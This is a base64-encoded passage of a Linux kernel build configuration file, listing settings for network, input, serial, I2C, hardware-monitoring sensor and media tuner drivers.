DQpDT05GSUdfTkVUWEVOX05JQz1tDQpDT05GSUdfTkVUX1ZFTkRPUl9SRUFMVEVLPXkNCkNPTkZJ
R184MTM5Q1A9bQ0KQ09ORklHXzgxMzlUT089bQ0KQ09ORklHXzgxMzlUT09fUElPPXkNCiMgQ09O
RklHXzgxMzlUT09fVFVORV9UV0lTVEVSIGlzIG5vdCBzZXQNCiMgQ09ORklHXzgxMzlUT09fODEy
OSBpcyBub3Qgc2V0DQojIENPTkZJR184MTM5X09MRF9SWF9SRVNFVCBpcyBub3Qgc2V0DQpDT05G
SUdfUjgxNjk9bQ0KQ09ORklHX05FVF9WRU5ET1JfUkRDPXkNCkNPTkZJR19SNjA0MD1tDQpDT05G
SUdfTkVUX1ZFTkRPUl9TRUVRPXkNCkNPTkZJR19TRUVRODAwNT1tDQpDT05GSUdfTkVUX1ZFTkRP
Ul9TSUxBTj15DQpDT05GSUdfU0M5MjAzMT1tDQpDT05GSUdfTkVUX1ZFTkRPUl9TSVM9eQ0KQ09O
RklHX1NJUzkwMD1tDQpDT05GSUdfU0lTMTkwPW0NCkNPTkZJR19TRkM9bQ0KQ09ORklHX05FVF9W
RU5ET1JfU01TQz15DQpDT05GSUdfRVBJQzEwMD1tDQpDT05GSUdfU01TQzk0MjA9bQ0KQ09ORklH
X05FVF9WRU5ET1JfU1RNSUNSTz15DQpDT05GSUdfU1RNTUFDX0VUSD1tDQojIENPTkZJR19TVE1N
QUNfREVCVUdfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfU1RNTUFDX0RBIGlzIG5vdCBzZXQNCkNP
TkZJR19TVE1NQUNfUklORz15DQojIENPTkZJR19TVE1NQUNfQ0hBSU5FRCBpcyBub3Qgc2V0DQoj
IENPTkZJR19ORVRfVkVORE9SX1NVTiBpcyBub3Qgc2V0DQpDT05GSUdfTkVUX1ZFTkRPUl9URUhV
VEk9eQ0KQ09ORklHX1RFSFVUST1tDQpDT05GSUdfTkVUX1ZFTkRPUl9UST15DQpDT05GSUdfVExB
Tj1tDQpDT05GSUdfTkVUX1ZFTkRPUl9WSUE9eQ0KQ09ORklHX1ZJQV9SSElORT1tDQojIENPTkZJ
R19WSUFfUkhJTkVfTU1JTyBpcyBub3Qgc2V0DQpDT05GSUdfVklBX1ZFTE9DSVRZPW0NCiMgQ09O
RklHX0ZEREkgaXMgbm90IHNldA0KIyBDT05GSUdfSElQUEkgaXMgbm90IHNldA0KQ09ORklHX1BI
WUxJQj1tDQoNCiMNCiMgTUlJIFBIWSBkZXZpY2UgZHJpdmVycw0KIw0KIyBDT05GSUdfTUFSVkVM
TF9QSFkgaXMgbm90IHNldA0KIyBDT05GSUdfREFWSUNPTV9QSFkgaXMgbm90IHNldA0KIyBDT05G
SUdfUVNFTUlfUEhZIGlzIG5vdCBzZXQNCiMgQ09ORklHX0xYVF9QSFkgaXMgbm90IHNldA0KIyBD
T05GSUdfQ0lDQURBX1BIWSBpcyBub3Qgc2V0DQojIENPTkZJR19WSVRFU1NFX1BIWSBpcyBub3Qg
c2V0DQpDT05GSUdfU01TQ19QSFk9bQ0KIyBDT05GSUdfQlJPQURDT01fUEhZIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0lDUExVU19QSFkgaXMgbm90IHNldA0KIyBDT05GSUdfUkVBTFRFS19QSFkgaXMg
bm90IHNldA0KIyBDT05GSUdfTkFUSU9OQUxfUEhZIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NURTEw
WFAgaXMgbm90IHNldA0KIyBDT05GSUdfTFNJX0VUMTAxMUNfUEhZIGlzIG5vdCBzZXQNCiMgQ09O
RklHX01JQ1JFTF9QSFkgaXMgbm90IHNldA0KIyBDT05GSUdfTURJT19CSVRCQU5HIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1BMSVAgaXMgbm90IHNldA0KQ09ORklHX1BQUD1tDQpDT05GSUdfUFBQX0JT
RENPTVA9bQ0KQ09ORklHX1BQUF9ERUZMQVRFPW0NCkNPTkZJR19QUFBfRklMVEVSPXkNCkNPTkZJ
R19QUFBfTVBQRT1tDQpDT05GSUdfUFBQX01VTFRJTElOSz15DQpDT05GSUdfUFBQT0U9bQ0KQ09O
RklHX1BQUF9BU1lOQz1tDQpDT05GSUdfUFBQX1NZTkNfVFRZPW0NCiMgQ09ORklHX1NMSVAgaXMg
bm90IHNldA0KQ09ORklHX1NMSEM9bQ0KIyBDT05GSUdfVFIgaXMgbm90IHNldA0KDQojDQojIFVT
QiBOZXR3b3JrIEFkYXB0ZXJzDQojDQojIENPTkZJR19VU0JfQ0FUQyBpcyBub3Qgc2V0DQojIENP
TkZJR19VU0JfS0FXRVRIIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9QRUdBU1VTIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1VTQl9SVEw4MTUwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9VU0JORVQg
aXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0lQSEVUSCBpcyBub3Qgc2V0DQojIENPTkZJR19XTEFO
IGlzIG5vdCBzZXQNCg0KIw0KIyBFbmFibGUgV2lNQVggKE5ldHdvcmtpbmcgb3B0aW9ucykgdG8g
c2VlIHRoZSBXaU1BWCBkcml2ZXJzDQojDQojIENPTkZJR19XQU4gaXMgbm90IHNldA0KIyBDT05G
SUdfVk1YTkVUMyBpcyBub3Qgc2V0DQojIENPTkZJR19JU0ROIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1BIT05FIGlzIG5vdCBzZXQNCg0KIw0KIyBJbnB1dCBkZXZpY2Ugc3VwcG9ydA0KIw0KQ09ORklH
X0lOUFVUPXkNCiMgQ09ORklHX0lOUFVUX0ZGX01FTUxFU1MgaXMgbm90IHNldA0KIyBDT05GSUdf
SU5QVVRfUE9MTERFViBpcyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9TUEFSU0VLTUFQIGlzIG5v
dCBzZXQNCg0KIw0KIyBVc2VybGFuZCBpbnRlcmZhY2VzDQojDQpDT05GSUdfSU5QVVRfTU9VU0VE
RVY9bQ0KQ09ORklHX0lOUFVUX01PVVNFREVWX1BTQVVYPXkNCkNPTkZJR19JTlBVVF9NT1VTRURF
Vl9TQ1JFRU5fWD0xMDI0DQpDT05GSUdfSU5QVVRfTU9VU0VERVZfU0NSRUVOX1k9NzY4DQojIENP
TkZJR19JTlBVVF9KT1lERVYgaXMgbm90IHNldA0KQ09ORklHX0lOUFVUX0VWREVWPW0NCiMgQ09O
RklHX0lOUFVUX0VWQlVHIGlzIG5vdCBzZXQNCg0KIw0KIyBJbnB1dCBEZXZpY2UgRHJpdmVycw0K
Iw0KQ09ORklHX0lOUFVUX0tFWUJPQVJEPXkNCiMgQ09ORklHX0tFWUJPQVJEX0FEUDU1ODggaXMg
bm90IHNldA0KIyBDT05GSUdfS0VZQk9BUkRfQURQNTU4OSBpcyBub3Qgc2V0DQpDT05GSUdfS0VZ
Qk9BUkRfQVRLQkQ9bQ0KIyBDT05GSUdfS0VZQk9BUkRfQVRLQkRfSFBfS0VZQ09ERVMgaXMgbm90
IHNldA0KIyBDT05GSUdfS0VZQk9BUkRfUVQxMDcwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0tFWUJP
QVJEX1FUMjE2MCBpcyBub3Qgc2V0DQojIENPTkZJR19LRVlCT0FSRF9MS0tCRCBpcyBub3Qgc2V0
DQojIENPTkZJR19LRVlCT0FSRF9UQ0E2NDE2IGlzIG5vdCBzZXQNCiMgQ09ORklHX0tFWUJPQVJE
X0hJTF9PTEQgaXMgbm90IHNldA0KQ09ORklHX0tFWUJPQVJEX0hJTD1tDQojIENPTkZJR19LRVlC
T0FSRF9NQVg3MzU5IGlzIG5vdCBzZXQNCiMgQ09ORklHX0tFWUJPQVJEX01DUyBpcyBub3Qgc2V0
DQojIENPTkZJR19LRVlCT0FSRF9NUFIxMjEgaXMgbm90IHNldA0KIyBDT05GSUdfS0VZQk9BUkRf
TkVXVE9OIGlzIG5vdCBzZXQNCiMgQ09ORklHX0tFWUJPQVJEX09QRU5DT1JFUyBpcyBub3Qgc2V0
DQojIENPTkZJR19LRVlCT0FSRF9TVE9XQVdBWSBpcyBub3Qgc2V0DQojIENPTkZJR19LRVlCT0FS
RF9TVU5LQkQgaXMgbm90IHNldA0KIyBDT05GSUdfS0VZQk9BUkRfWFRLQkQgaXMgbm90IHNldA0K
Q09ORklHX0lOUFVUX01PVVNFPXkNCkNPTkZJR19NT1VTRV9QUzI9bQ0KQ09ORklHX01PVVNFX1BT
Ml9BTFBTPXkNCkNPTkZJR19NT1VTRV9QUzJfTE9HSVBTMlBQPXkNCkNPTkZJR19NT1VTRV9QUzJf
U1lOQVBUSUNTPXkNCkNPTkZJR19NT1VTRV9QUzJfVFJBQ0tQT0lOVD15DQojIENPTkZJR19NT1VT
RV9QUzJfRUxBTlRFQ0ggaXMgbm90IHNldA0KIyBDT05GSUdfTU9VU0VfUFMyX1NFTlRFTElDIGlz
IG5vdCBzZXQNCiMgQ09ORklHX01PVVNFX1BTMl9UT1VDSEtJVCBpcyBub3Qgc2V0DQojIENPTkZJ
R19NT1VTRV9TRVJJQUwgaXMgbm90IHNldA0KIyBDT05GSUdfTU9VU0VfQVBQTEVUT1VDSCBpcyBu
b3Qgc2V0DQojIENPTkZJR19NT1VTRV9CQ001OTc0IGlzIG5vdCBzZXQNCiMgQ09ORklHX01PVVNF
X1ZTWFhYQUEgaXMgbm90IHNldA0KIyBDT05GSUdfTU9VU0VfU1lOQVBUSUNTX0kyQyBpcyBub3Qg
c2V0DQojIENPTkZJR19JTlBVVF9KT1lTVElDSyBpcyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9U
QUJMRVQgaXMgbm90IHNldA0KIyBDT05GSUdfSU5QVVRfVE9VQ0hTQ1JFRU4gaXMgbm90IHNldA0K
IyBDT05GSUdfSU5QVVRfTUlTQyBpcyBub3Qgc2V0DQoNCiMNCiMgSGFyZHdhcmUgSS9PIHBvcnRz
DQojDQpDT05GSUdfU0VSSU89eQ0KQ09ORklHX1NFUklPX1NFUlBPUlQ9eQ0KIyBDT05GSUdfU0VS
SU9fUEFSS0JEIGlzIG5vdCBzZXQNCkNPTkZJR19TRVJJT19HU0NQUzI9eQ0KQ09ORklHX0hQX1NE
Qz15DQpDT05GSUdfSElMX01MQz15DQojIENPTkZJR19TRVJJT19QQ0lQUzIgaXMgbm90IHNldA0K
Q09ORklHX1NFUklPX0xJQlBTMj15DQojIENPTkZJR19TRVJJT19SQVcgaXMgbm90IHNldA0KIyBD
T05GSUdfU0VSSU9fQUxURVJBX1BTMiBpcyBub3Qgc2V0DQojIENPTkZJR19TRVJJT19QUzJNVUxU
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0dBTUVQT1JUIGlzIG5vdCBzZXQNCg0KIw0KIyBDaGFyYWN0
ZXIgZGV2aWNlcw0KIw0KQ09ORklHX1ZUPXkNCkNPTkZJR19DT05TT0xFX1RSQU5TTEFUSU9OUz15
DQpDT05GSUdfVlRfQ09OU09MRT15DQpDT05GSUdfSFdfQ09OU09MRT15DQojIENPTkZJR19WVF9I
V19DT05TT0xFX0JJTkRJTkcgaXMgbm90IHNldA0KQ09ORklHX1VOSVg5OF9QVFlTPXkNCiMgQ09O
RklHX0RFVlBUU19NVUxUSVBMRV9JTlNUQU5DRVMgaXMgbm90IHNldA0KQ09ORklHX0xFR0FDWV9Q
VFlTPXkNCkNPTkZJR19MRUdBQ1lfUFRZX0NPVU5UPTI1Ng0KIyBDT05GSUdfU0VSSUFMX05PTlNU
QU5EQVJEIGlzIG5vdCBzZXQNCiMgQ09ORklHX05PWk9NSSBpcyBub3Qgc2V0DQojIENPTkZJR19O
X0dTTSBpcyBub3Qgc2V0DQojIENPTkZJR19UUkFDRV9TSU5LIGlzIG5vdCBzZXQNCg0KIw0KIyBL
Q29weQ0KIw0KQ09ORklHX0tDT1BZPXkNCkNPTkZJR19ERVZLTUVNPXkNCg0KIw0KIyBTZXJpYWwg
ZHJpdmVycw0KIw0KQ09ORklHX1NFUklBTF84MjUwPXkNCkNPTkZJR19TRVJJQUxfODI1MF9DT05T
T0xFPXkNCkNPTkZJR19TRVJJQUxfODI1MF9HU0M9eQ0KQ09ORklHX1NFUklBTF84MjUwX1BDST15
DQpDT05GSUdfU0VSSUFMXzgyNTBfTlJfVUFSVFM9MTcNCkNPTkZJR19TRVJJQUxfODI1MF9SVU5U
SU1FX1VBUlRTPTQNCkNPTkZJR19TRVJJQUxfODI1MF9FWFRFTkRFRD15DQpDT05GSUdfU0VSSUFM
XzgyNTBfTUFOWV9QT1JUUz15DQpDT05GSUdfU0VSSUFMXzgyNTBfU0hBUkVfSVJRPXkNCiMgQ09O
RklHX1NFUklBTF84MjUwX0RFVEVDVF9JUlEgaXMgbm90IHNldA0KIyBDT05GSUdfU0VSSUFMXzgy
NTBfUlNBIGlzIG5vdCBzZXQNCg0KIw0KIyBOb24tODI1MCBzZXJpYWwgcG9ydCBzdXBwb3J0DQoj
DQojIENPTkZJR19TRVJJQUxfTUZEX0hTVSBpcyBub3Qgc2V0DQpDT05GSUdfU0VSSUFMX01VWD15
DQpDT05GSUdfU0VSSUFMX01VWF9DT05TT0xFPXkNCkNPTkZJR19TRVJJQUxfQ09SRT15DQpDT05G
SUdfU0VSSUFMX0NPUkVfQ09OU09MRT15DQojIENPTkZJR19TRVJJQUxfSlNNIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NFUklBTF9USU1CRVJEQUxFIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFUklBTF9B
TFRFUkFfSlRBR1VBUlQgaXMgbm90IHNldA0KIyBDT05GSUdfU0VSSUFMX0FMVEVSQV9VQVJUIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NFUklBTF9QQ0hfVUFSVCBpcyBub3Qgc2V0DQojIENPTkZJR19T
RVJJQUxfWElMSU5YX1BTX1VBUlQgaXMgbm90IHNldA0KIyBDT05GSUdfVFRZX1BSSU5USyBpcyBu
b3Qgc2V0DQpDT05GSUdfUFJJTlRFUj1tDQojIENPTkZJR19MUF9DT05TT0xFIGlzIG5vdCBzZXQN
CkNPTkZJR19QUERFVj1tDQojIENPTkZJR19WSVJUSU9fQ09OU09MRSBpcyBub3Qgc2V0DQojIENP
TkZJR19JUE1JX0hBTkRMRVIgaXMgbm90IHNldA0KIyBDT05GSUdfSFdfUkFORE9NIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1IzOTY0IGlzIG5vdCBzZXQNCiMgQ09ORklHX0FQUExJQ09NIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1JBV19EUklWRVIgaXMgbm90IHNldA0KIyBDT05GSUdfVENHX1RQTSBpcyBu
b3Qgc2V0DQpDT05GSUdfREVWUE9SVD15DQojIENPTkZJR19SQU1PT1BTIGlzIG5vdCBzZXQNCkNP
TkZJR19JMkM9bQ0KQ09ORklHX0kyQ19CT0FSRElORk89eQ0KQ09ORklHX0kyQ19DT01QQVQ9eQ0K
Q09ORklHX0kyQ19DSEFSREVWPW0NCiMgQ09ORklHX0kyQ19NVVggaXMgbm90IHNldA0KQ09ORklH
X0kyQ19IRUxQRVJfQVVUTz15DQpDT05GSUdfSTJDX1NNQlVTPW0NCkNPTkZJR19JMkNfQUxHT0JJ
VD1tDQoNCiMNCiMgSTJDIEhhcmR3YXJlIEJ1cyBzdXBwb3J0DQojDQoNCiMNCiMgUEMgU01CdXMg
aG9zdCBjb250cm9sbGVyIGRyaXZlcnMNCiMNCkNPTkZJR19JMkNfQUxJMTUzNT1tDQpDT05GSUdf
STJDX0FMSTE1NjM9bQ0KQ09ORklHX0kyQ19BTEkxNVgzPW0NCkNPTkZJR19JMkNfQU1ENzU2PW0N
CkNPTkZJR19JMkNfQU1EODExMT1tDQpDT05GSUdfSTJDX0k4MDE9bQ0KIyBDT05GSUdfSTJDX0lT
Q0ggaXMgbm90IHNldA0KQ09ORklHX0kyQ19QSUlYND1tDQpDT05GSUdfSTJDX05GT1JDRTI9bQ0K
Q09ORklHX0kyQ19TSVM1NTk1PW0NCkNPTkZJR19JMkNfU0lTNjMwPW0NCkNPTkZJR19JMkNfU0lT
OTZYPW0NCkNPTkZJR19JMkNfVklBPW0NCkNPTkZJR19JMkNfVklBUFJPPW0NCg0KIw0KIyBJMkMg
c3lzdGVtIGJ1cyBkcml2ZXJzIChtb3N0bHkgZW1iZWRkZWQgLyBzeXN0ZW0tb24tY2hpcCkNCiMN
CiMgQ09ORklHX0kyQ19ERVNJR05XQVJFX1BDSSBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfSU5U
RUxfTUlEIGlzIG5vdCBzZXQNCkNPTkZJR19JMkNfT0NPUkVTPW0NCiMgQ09ORklHX0kyQ19QQ0Ff
UExBVEZPUk0gaXMgbm90IHNldA0KIyBDT05GSUdfSTJDX1BYQV9QQ0kgaXMgbm90IHNldA0KIyBD
T05GSUdfSTJDX1NJTVRFQyBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfWElMSU5YIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0kyQ19FRzIwVCBpcyBub3Qgc2V0DQoNCiMNCiMgRXh0ZXJuYWwgSTJDL1NN
QnVzIGFkYXB0ZXIgZHJpdmVycw0KIw0KIyBDT05GSUdfSTJDX0RJT0xBTl9VMkMgaXMgbm90IHNl
dA0KQ09ORklHX0kyQ19QQVJQT1JUPW0NCkNPTkZJR19JMkNfUEFSUE9SVF9MSUdIVD1tDQojIENP
TkZJR19JMkNfVEFPU19FVk0gaXMgbm90IHNldA0KIyBDT05GSUdfSTJDX1RJTllfVVNCIGlzIG5v
dCBzZXQNCg0KIw0KIyBPdGhlciBJMkMvU01CdXMgYnVzIGRyaXZlcnMNCiMNCkNPTkZJR19JMkNf
U1RVQj1tDQojIENPTkZJR19JMkNfREVCVUdfQ09SRSBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNf
REVCVUdfQUxHTyBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfREVCVUdfQlVTIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NQSSBpcyBub3Qgc2V0DQoNCiMNCiMgUFBTIHN1cHBvcnQNCiMNCiMgQ09ORklH
X1BQUyBpcyBub3Qgc2V0DQoNCiMNCiMgUFBTIGdlbmVyYXRvcnMgc3VwcG9ydA0KIw0KDQojDQoj
IFBUUCBjbG9jayBzdXBwb3J0DQojDQoNCiMNCiMgRW5hYmxlIERldmljZSBEcml2ZXJzIC0+IFBQ
UyB0byBzZWUgdGhlIFBUUCBjbG9jayBvcHRpb25zLg0KIw0KIyBDT05GSUdfVzEgaXMgbm90IHNl
dA0KIyBDT05GSUdfUE9XRVJfU1VQUExZIGlzIG5vdCBzZXQNCkNPTkZJR19IV01PTj1tDQpDT05G
SUdfSFdNT05fVklEPW0NCiMgQ09ORklHX0hXTU9OX0RFQlVHX0NISVAgaXMgbm90IHNldA0KDQoj
DQojIE5hdGl2ZSBkcml2ZXJzDQojDQpDT05GSUdfU0VOU09SU19BRDc0MTQ9bQ0KQ09ORklHX1NF
TlNPUlNfQUQ3NDE4PW0NCkNPTkZJR19TRU5TT1JTX0FETTEwMjE9bQ0KQ09ORklHX1NFTlNPUlNf
QURNMTAyNT1tDQpDT05GSUdfU0VOU09SU19BRE0xMDI2PW0NCkNPTkZJR19TRU5TT1JTX0FETTEw
Mjk9bQ0KQ09ORklHX1NFTlNPUlNfQURNMTAzMT1tDQpDT05GSUdfU0VOU09SU19BRE05MjQwPW0N
CiMgQ09ORklHX1NFTlNPUlNfQURUNzQxMSBpcyBub3Qgc2V0DQpDT05GSUdfU0VOU09SU19BRFQ3
NDYyPW0NCkNPTkZJR19TRU5TT1JTX0FEVDc0NzA9bQ0KQ09ORklHX1NFTlNPUlNfQURUNzQ3NT1t
DQojIENPTkZJR19TRU5TT1JTX0FTQzc2MjEgaXMgbm90IHNldA0KQ09ORklHX1NFTlNPUlNfQVRY
UDE9bQ0KIyBDT05GSUdfU0VOU09SU19EUzYyMCBpcyBub3Qgc2V0DQpDT05GSUdfU0VOU09SU19E
UzE2MjE9bQ0KIyBDT05GSUdfU0VOU09SU19JNUtfQU1CIGlzIG5vdCBzZXQNCkNPTkZJR19TRU5T
T1JTX0Y3MTgwNUY9bQ0KIyBDT05GSUdfU0VOU09SU19GNzE4ODJGRyBpcyBub3Qgc2V0DQojIENP
TkZJR19TRU5TT1JTX0Y3NTM3NVMgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19HNzYwQSBp
cyBub3Qgc2V0DQpDT05GSUdfU0VOU09SU19HTDUxOFNNPW0NCkNPTkZJR19TRU5TT1JTX0dMNTIw
U009bQ0KQ09ORklHX1NFTlNPUlNfSVQ4Nz1tDQojIENPTkZJR19TRU5TT1JTX0pDNDIgaXMgbm90
IHNldA0KIyBDT05GSUdfU0VOU09SU19MSU5FQUdFIGlzIG5vdCBzZXQNCkNPTkZJR19TRU5TT1JT
X0xNNjM9bQ0KIyBDT05GSUdfU0VOU09SU19MTTczIGlzIG5vdCBzZXQNCkNPTkZJR19TRU5TT1JT
X0xNNzU9bQ0KQ09ORklHX1NFTlNPUlNfTE03Nz1tDQpDT05GSUdfU0VOU09SU19MTTc4PW0NCkNP
TkZJR19TRU5TT1JTX0xNODA9bQ0KQ09ORklHX1NFTlNPUlNfTE04Mz1tDQpDT05GSUdfU0VOU09S
U19MTTg1PW0NCkNPTkZJR19TRU5TT1JTX0xNODc9bQ0KQ09ORklHX1NFTlNPUlNfTE05MD1tDQpD
T05GSUdfU0VOU09SU19MTTkyPW0NCkNPTkZJR19TRU5TT1JTX0xNOTM9bQ0KIyBDT05GSUdfU0VO
U09SU19MVEM0MTUxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfTFRDNDIxNSBpcyBub3Qg
c2V0DQojIENPTkZJR19TRU5TT1JTX0xUQzQyNDUgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09S
U19MVEM0MjYxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfTE05NTI0MSBpcyBub3Qgc2V0
DQojIENPTkZJR19TRU5TT1JTX0xNOTUyNDUgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19N
QVgxNjA2NSBpcyBub3Qgc2V0DQpDT05GSUdfU0VOU09SU19NQVgxNjE5PW0NCiMgQ09ORklHX1NF
TlNPUlNfTUFYMTY2OCBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX01BWDY2MzkgaXMgbm90
IHNldA0KIyBDT05GSUdfU0VOU09SU19NQVg2NjQyIGlzIG5vdCBzZXQNCkNPTkZJR19TRU5TT1JT
X01BWDY2NTA9bQ0KIyBDT05GSUdfU0VOU09SU19OVENfVEhFUk1JU1RPUiBpcyBub3Qgc2V0DQpD
T05GSUdfU0VOU09SU19QQzg3MzYwPW0NCkNPTkZJR19TRU5TT1JTX1BDODc0Mjc9bQ0KQ09ORklH
X1NFTlNPUlNfUENGODU5MT1tDQojIENPTkZJR19QTUJVUyBpcyBub3Qgc2V0DQojIENPTkZJR19T
RU5TT1JTX1NIVDIxIGlzIG5vdCBzZXQNCkNPTkZJR19TRU5TT1JTX1NJUzU1OTU9bQ0KIyBDT05G
SUdfU0VOU09SU19TTU02NjUgaXMgbm90IHNldA0KQ09ORklHX1NFTlNPUlNfRE1FMTczNz1tDQoj
IENPTkZJR19TRU5TT1JTX0VNQzE0MDMgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19FTUMy
MTAzIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfRU1DNlcyMDEgaXMgbm90IHNldA0KQ09O
RklHX1NFTlNPUlNfU01TQzQ3TTE9bQ0KQ09ORklHX1NFTlNPUlNfU01TQzQ3TTE5Mj1tDQpDT05G
SUdfU0VOU09SU19TTVNDNDdCMzk3PW0NCiMgQ09ORklHX1NFTlNPUlNfU0NINTZYWF9DT01NT04g
aXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19TQ0g1NjI3IGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NFTlNPUlNfU0NINTYzNiBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX0FEUzEwMTUgaXMg
bm90IHNldA0KQ09ORklHX1NFTlNPUlNfQURTNzgyOD1tDQojIENPTkZJR19TRU5TT1JTX0FNQzY4
MjEgaXMgbm90IHNldA0KQ09ORklHX1NFTlNPUlNfVEhNQzUwPW0NCiMgQ09ORklHX1NFTlNPUlNf
VE1QMTAyIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfVE1QNDAxIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1NFTlNPUlNfVE1QNDIxIGlzIG5vdCBzZXQNCkNPTkZJR19TRU5TT1JTX1ZJQTY4NkE9
bQ0KQ09ORklHX1NFTlNPUlNfVlQxMjExPW0NCkNPTkZJR19TRU5TT1JTX1ZUODIzMT1tDQpDT05G
SUdfU0VOU09SU19XODM3ODFEPW0NCkNPTkZJR19TRU5TT1JTX1c4Mzc5MUQ9bQ0KQ09ORklHX1NF
TlNPUlNfVzgzNzkyRD1tDQpDT05GSUdfU0VOU09SU19XODM3OTM9bQ0KIyBDT05GSUdfU0VOU09S
U19XODM3OTUgaXMgbm90IHNldA0KQ09ORklHX1NFTlNPUlNfVzgzTDc4NVRTPW0NCkNPTkZJR19T
RU5TT1JTX1c4M0w3ODZORz1tDQpDT05GSUdfU0VOU09SU19XODM2MjdIRj1tDQpDT05GSUdfU0VO
U09SU19XODM2MjdFSEY9bQ0KIyBDT05GSUdfVEhFUk1BTCBpcyBub3Qgc2V0DQojIENPTkZJR19X
QVRDSERPRyBpcyBub3Qgc2V0DQpDT05GSUdfU1NCX1BPU1NJQkxFPXkNCg0KIw0KIyBTb25pY3Mg
U2lsaWNvbiBCYWNrcGxhbmUNCiMNCkNPTkZJR19TU0I9bQ0KQ09ORklHX1NTQl9TUFJPTT15DQpD
T05GSUdfU1NCX1BDSUhPU1RfUE9TU0lCTEU9eQ0KQ09ORklHX1NTQl9QQ0lIT1NUPXkNCiMgQ09O
RklHX1NTQl9CNDNfUENJX0JSSURHRSBpcyBub3Qgc2V0DQojIENPTkZJR19TU0JfU0lMRU5UIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NTQl9ERUJVRyBpcyBub3Qgc2V0DQpDT05GSUdfU1NCX0RSSVZF
Ul9QQ0lDT1JFX1BPU1NJQkxFPXkNCkNPTkZJR19TU0JfRFJJVkVSX1BDSUNPUkU9eQ0KQ09ORklH
X0JDTUFfUE9TU0lCTEU9eQ0KDQojDQojIEJyb2FkY29tIHNwZWNpZmljIEFNQkENCiMNCiMgQ09O
RklHX0JDTUEgaXMgbm90IHNldA0KDQojDQojIE11bHRpZnVuY3Rpb24gZGV2aWNlIGRyaXZlcnMN
CiMNCiMgQ09ORklHX01GRF9DT1JFIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9TTTUwMSBpcyBu
b3Qgc2V0DQojIENPTkZJR19IVENfUEFTSUMzIGlzIG5vdCBzZXQNCiMgQ09ORklHX1RQUzYxMDVY
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1RQUzY1MDdYIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9U
TUlPIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9XTTg0MDAgaXMgbm90IHNldA0KIyBDT05GSUdf
TUZEX1BDRjUwNjMzIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FCWDUwMF9DT1JFIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0xQQ19TQ0ggaXMgbm90IHNldA0KIyBDT05GSUdfTUZEX1JEQzMyMVggaXMgbm90
IHNldA0KIyBDT05GSUdfTUZEX0pBTlpfQ01PRElPIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9W
WDg1NSBpcyBub3Qgc2V0DQojIENPTkZJR19NRkRfV0wxMjczX0NPUkUgaXMgbm90IHNldA0KIyBD
T05GSUdfUkVHVUxBVE9SIGlzIG5vdCBzZXQNCkNPTkZJR19NRURJQV9TVVBQT1JUPW0NCg0KIw0K
IyBNdWx0aW1lZGlhIGNvcmUgc3VwcG9ydA0KIw0KIyBDT05GSUdfTUVESUFfQ09OVFJPTExFUiBp
cyBub3Qgc2V0DQpDT05GSUdfVklERU9fREVWPW0NCkNPTkZJR19WSURFT19WNEwyX0NPTU1PTj1t
DQojIENPTkZJR19EVkJfQ09SRSBpcyBub3Qgc2V0DQpDT05GSUdfVklERU9fTUVESUE9bQ0KDQoj
DQojIE11bHRpbWVkaWEgZHJpdmVycw0KIw0KIyBDT05GSUdfUkNfQ09SRSBpcyBub3Qgc2V0DQoj
IENPTkZJR19NRURJQV9BVFRBQ0ggaXMgbm90IHNldA0KQ09ORklHX01FRElBX1RVTkVSPW0NCiMg
Q09ORklHX01FRElBX1RVTkVSX0NVU1RPTUlTRSBpcyBub3Qgc2V0DQpDT05GSUdfTUVESUFfVFVO
RVJfU0lNUExFPW0NCkNPTkZJR19NRURJQV9UVU5FUl9UREE4MjkwPW0NCkNPTkZJR19NRURJQV9U
VU5FUl9UREE4MjdYPW0NCkNPTkZJR19NRURJQV9UVU5FUl9UREExODI3MT1tDQpDT05GSUdfTUVE
SUFfVFVORVJfVERBOTg4Nz1tDQpDT05GSUdfTUVESUFfVFVORVJfVEVBNTc2MT1tDQpDT05GSUdf
TUVESUFfVFVORVJfVEVBNTc2Nz1tDQpDT05GSUdfTUVESUFfVFVORVJfTVQyMFhYPW0NCkNPTkZJ
